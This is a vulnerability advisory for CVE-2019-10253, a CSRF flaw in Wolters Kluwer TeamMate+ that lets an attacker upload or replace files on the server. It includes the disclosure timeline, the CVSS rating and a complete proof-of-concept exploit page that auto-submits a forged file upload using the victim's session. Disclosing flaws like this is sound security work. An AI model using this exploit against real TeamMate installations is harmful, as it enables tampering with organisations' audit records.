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Wolters Kluwer TeamMate+ Cross-Site Request Forgery (CSRF) vulnerability



Title:
====

Wolters Kluwer TeamMate+ ? Cross-Site Request Forgery (CSRF) vulnerability


Credit:
======

Name: Bhadresh Patel


CVE:

====

CVE-2019-10253

Date:
====

19/03/2019 (dd/mm/yyyy)

Vendor:
======

Wolters Kluwer is a global leader in professional information, software 
solutions, and services for the health, tax & accounting, finance, risk & 
compliance, and legal sectors. We help our customers make critical decisions 
every day by providing expert solutions that combine deep domain knowledge with 
specialized technology and services.

Vendor link: http://www.teammatesolutions.com/about-us.aspx

 
Vulnerable Product:
==============

TeamMate+


TeamMate Global Audit Solutions, part of the Tax and Accounting Division of 
Wolters Kluwer, helps professionals in all industries at organizations around 
the world manage audit and compliance risks and business issues by providing 
targeted, configurable, and efficient software solutions. Solutions include 
TeamMate+ Audit, TeamMate+ Controls, and TeamMate Analytics. Together, this 
ecosystem of solutions provides organizations with the combined assurance they 
need to manage all aspects of risk identification and assessment, electronic 
working paper creation and management, controls framework management, and data 
analysis.



Abstract:
=======

Cross-Site Request Forgery (CSRF) vulnerability in TeamMate+ could allow an 
attacker to upload malicious/forged files on TeamMate server or replace 
existing uploaded files with malicious/forged files by enticing authenticated 
user to visit attacker page.


Report-Timeline:

=============

19/03/2019: Vendor notified

19/03/2019: Vendor responded requesting further information

20/03/2019: Further technical information with PoC was shared with vendor

01/07/2019: Vendor fixed the issue in version 3.2


Affected Software Version:
=============

<= TeamMate January 2019 (Version 3.1) (Internal Version: 21.0.0.0)


Exploitation-Technique:
===================

Remote


Severity Rating (CVSS):
===================

4.3 (Medium) (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)
 

CVE ID:

=======


CVE-2019-10253

 
Details:
=======

A Cross-Site Request Forgery (CSRF) vulnerability is discovered in TeamMate+ 
which allows a remote attacker to modify application data (upload 
malicious/forged files on TeamMate server or replace existing uploaded files 
with malicious/forged files) without victim's knowledge by enticing 
authenticated user to visit attacker page/URL.


The specific flaw exists within the handling of request to 
?DomainObjectDocumentUpload.ashx? application. An application failed to 
validate CSRF token before handling the POST request.


Vulnerable module/page/application: 
/TeamMate/Upload/DomainObjectDocumentUpload.ashx

 

PoC Exploit code:
----------------------------------------------------------------------------

 

<html>

 

  <body onload="submitRequest()">

    <script>

      function submitRequest()

      {

        var xhr = new XMLHttpRequest();

        xhr.open("POST", 
"https://<ServerIP>/TeamMate/Upload/DomainObjectDocumentUpload.ashx", true);

        xhr.setRequestHeader("Accept", "text/html, */*; q=0.01");

        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9,ar;q=0.8");

        xhr.setRequestHeader("Content-Type", "multipart/form-data; 
boundary=----WebKitFormBoundaryNA930lURoQYsoTOn");

        xhr.withCredentials = true;

        var body = "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; name=\"fileObjectId\"\r\n" +

          "\r\n" +

          "0\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; name=\"parentId\"\r\n" +

          "\r\n" +

          "1373\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; name=\"AssessmentId\"\r\n" +

          "\r\n" +

          "34\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; name=\"ProjectId\"\r\n" +

          "\r\n" +

          "1106\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; name=\"ParentNodeType\"\r\n" +

          "\r\n" +

          "50\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; 
name=\"DocumentParentObjectType\"\r\n" +

          "\r\n" +

          "90\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

          "Content-Disposition: form-data; name=\"files[]\"; 
filename=\"Report.txt\"\r\n" +

          "Content-Type: application/x-msdownload\r\n" +

          "\r\n" +

          "MZP\r\n" +

          "------WebKitFormBoundaryNA930lURoQYsoTOn--\r\n";

        var aBody = new Uint8Array(body.length);

        for (var i = 0; i < aBody.length; i++)

          aBody[i] = body.charCodeAt(i);

        xhr.send(new Blob([aBody]));

      }

    </script>

 

  </body>

</html>

 

----------------------------------------------------------------------------


Credits:
=======

Bhadresh Patel